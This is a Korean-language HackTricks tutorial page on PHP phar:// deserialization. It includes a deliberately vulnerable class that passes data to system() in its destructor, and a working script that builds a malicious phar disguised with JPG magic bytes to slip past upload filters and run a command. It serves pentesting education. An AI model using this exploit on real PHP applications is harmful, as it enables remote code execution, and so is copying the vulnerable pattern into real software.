phar:// deserialization

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

버그 바운티 팁: 해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼Intigriti가입하세요! 오늘 https://go.intigriti.com/hacktricks에서 참여하여 최대 $100,000의 바운티를 받으세요!

Phar 파일(PHP 아카이브)은 직렬화된 형식으로 메타 데이터를 포함하고 있으므로, 이 메타데이터역직렬화되어 파싱될 때, PHP 코드 내에서 역직렬화 취약점을 악용할 수 있습니다.

이 특성의 가장 좋은 점은 이 역직렬화가 **file\_get\_contents(), fopen(), file() 또는 file\_exists(), md5\_file(), filemtime() 또는 filesize()**와 같이 PHP 코드를 평가하지 않는 PHP 함수를 사용하여 발생한다는 것입니다.

따라서, phar:// 프로토콜을 사용하여 임의의 파일의 크기를 가져오도록 PHP 웹을 만들 수 있는 상황을 상상해보세요. 그리고 코드 내에서 다음과 유사한 클래스를 찾을 수 있습니다:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

phar 파일을 만들어서 이 클래스를 악용하여 다음과 같이 임의의 명령을 실행할 수 있습니다:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

JPG의 매직 바이트(\xff\xd8\xff)가 phar 파일의 시작 부분에 추가되어 가능한 파일 업로드 제한우회하는 방법을 주목하십시오. 다음과 같이 test.phar 파일을 컴파일하십시오:

php --define phar.readonly=0 create_phar.php

그리고 취약한 코드를 악용하여 whoami 명령을 실행하십시오:

php vuln.php

참고 자료

버그 바운티 팁: Intigriti에 가입하여 해커들이 만든 프리미엄 버그 바운티 플랫폼에 참여하세요! https://go.intigriti.com/hacktricks에서 오늘 가입하고 최대 $100,000의 바운티를 받아보세요!

htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

Last updated